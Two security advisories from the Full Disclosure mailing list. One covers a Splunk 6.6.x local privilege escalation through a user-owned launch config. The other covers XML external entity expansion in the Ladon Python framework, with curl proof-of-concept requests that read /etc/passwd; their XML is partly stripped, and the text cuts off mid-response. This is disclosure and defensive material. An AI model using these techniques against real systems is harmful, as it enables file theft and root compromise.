[FD] KL-001-2017-022 : Splunk Local Privilege Escalation
KL-001-2017-022 : Splunk Local Privilege Escalation Title: Splunk Local Privilege Escalation Advisory ID: KL-001-2017-022 Publication Date: 2017.11.03 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-022.txt 1. Vulnerability Details Affected Vendor: Splunk Affected Product: Splunk Enterprise Affected Version: 6.6.x Platform: Embedded Linux CWE Classification: CWE-280: Improper Handling of Insufficient Permissions or Privileges Impact: Privilege Escalation Attack vector: Local 2. Vulnerability Description Splunk can be configured to run as a non-root user. However, that user owns the configuration file that specifies the user to run as, so it can trivially gain root privileges. 3. Technical Description Splunk runs multiple daemons and network listeners as root by default. It can be configured to drop privileges to a specified non-root user at startup such as user splunk, via the SPLUNK_OS_USER variable in the splunk-launch.conf file in $SPLUNK_HOME/etc/ (such as /opt/splunk/etc/splunk-launch.conf). However, the instructions for enabling such a setup call for chown'ing the entire $SPLUNK_HOME directory to that same non-root user. For instance: http://docs.splunk.com/Documentation/Splunk/6.6.2/Installation/RunSplunkasadifferentornon-rootuser "4. Run the chown command to change the ownership of the splunk directory and everything under it to the user that you want to run the software. chown -R splunk:splunk $SPLUNK_HOME" Therefore, if an attacker gains control of the splunk account, they can modify $SPLUNK_HOME/etc/splunk-launch.conf to remove/unset SPLUNK_OS_USER so that the software will retain root privileges, and place backdoors under $SPLUNK_HOME/bin/, etc. that will take malicious actions as user root the next time Splunk is restarted. 4. Mitigation and Remediation Recommendation The vendor has published a mitigation for this vulnerability at: https://www.splunk.com/view/SP-CAAAP3M 5. Credit This vulnerability was discovered by Hank Leininger of KoreLogic, Inc. 6. Disclosure Timeline 2017.08.17 - KoreLogic submits vulnerability details to Splunk. 2017.08.17 - Splunk confirms receipt. 2017.08.22 - Splunk notifies KoreLogic that the issue has been assigned an internal ticket and will be addressed. 2017.09.29 - 30 business days have elapsed since the vulnerability was reported to Splunk. 2017.10.17 - KoreLogic requests an update from Splunk. 2017.10.18 - Splunk informs KoreLogic that they will issue an advisory on October 28th. 2017.10.23 - 45 business days have elapsed since the vulnerability was reported to Splunk. 2017.10.30 - Splunk notifies KoreLogic that the advisory is published. 2017.11.03 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt signature.asc Description: OpenPGP digital signature ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] [RT-SA-2016-008] XML External Entity Expansion in Ladon Webservice
Advisory: XML External Entity Expansion in Ladon Webservice Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability and read local files, forge server side requests or overload the service with exponentially growing memory payloads. Details === Product: Ladon Framework for Python Affected Versions: 0.9.40 and previous Fixed Versions: none Vulnerability Type: XML External Entity Expansion Security Risk: high Vendor URL: http://ladonize.org Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-008 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction "Ladon is a framework for exposing methods to several Internet service protocols. Once a method is ladonized it is automatically served through all the interfaces that your ladon installation contains. Ladon's interface implemetations are added in a modular fashion making it very easy [sic] extend Ladon's protocol support. Ladon runs on all Major OS's[sic] (Windows, Mac and Linux) and supports both Python 2 and 3." From the vendor's website[1] More Details Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP. As a simple example, the following Python file "helloservice.py" was implemented: from ladon.ladonizer import ladonize class HelloService(object): @ladonize(unicode, rtype=unicode) def sayhello(self, uid): return u"Hello {0}".format(uid) This function can then be run as a ladon webservice via the following command: ladon-2.7-ctl testserve helloservice.py -p 8000 This enables access to the "sayhello"-function via SOAP- and JSON-APIs. The following command will send an HTTP SOAP request, which will trigger the function: curl -s -X $'POST' \ -H $'Content-Type: text/xml;charset=UTF-8' \ -H $'SOAPAction: \"http://localhost:/HelloService/soap11/sayhello\";' \ --data-binary $'http://www.w3.org/2001/XMLSchema-instance\"; xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"; xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"; xmlns:urn=\"urn:HelloService\"> http://schemas.xmlsoap.org/soap/encoding/\";> RedTeam Pentesting ' \ 'http://localhost:/HelloService/soap11' | xmllint --format - This will generate the following output: http://schemas.xmlsoap.org/soap/encoding/"; xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:ns="urn:HelloService" xmlns:xsd="http://www.w3.org/2001/XMLSchema";> http://schemas.xmlsoap.org/soap/encoding/";> Hello RedTeam Pentesting The SOAP-API of this service is susceptible to an XML external entity expansion. Proof of Concept By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server: ]> The following command exploits this vulnerability by including the &passwd; entity as the username in the request: curl -s -X $'POST' \ -H $'Content-Type: text/xml;charset=UTF-8' \ -H $'SOAPAction: \"http://localhost:/HelloService/soap11/sayhello\";' \ --data-binary $' ]> http://www.w3.org/2001/XMLSchema-instance\"; xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"; xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"; xmlns:urn=\"urn:HelloService\"> http://schemas.xmlsoap.org/soap/encoding/\";> &passwd; ' \ 'http://localhost:/HelloService/soap11' | xmllint --format - The server answers with a response containing the passwd-file: http://schemas.xmlsoap.or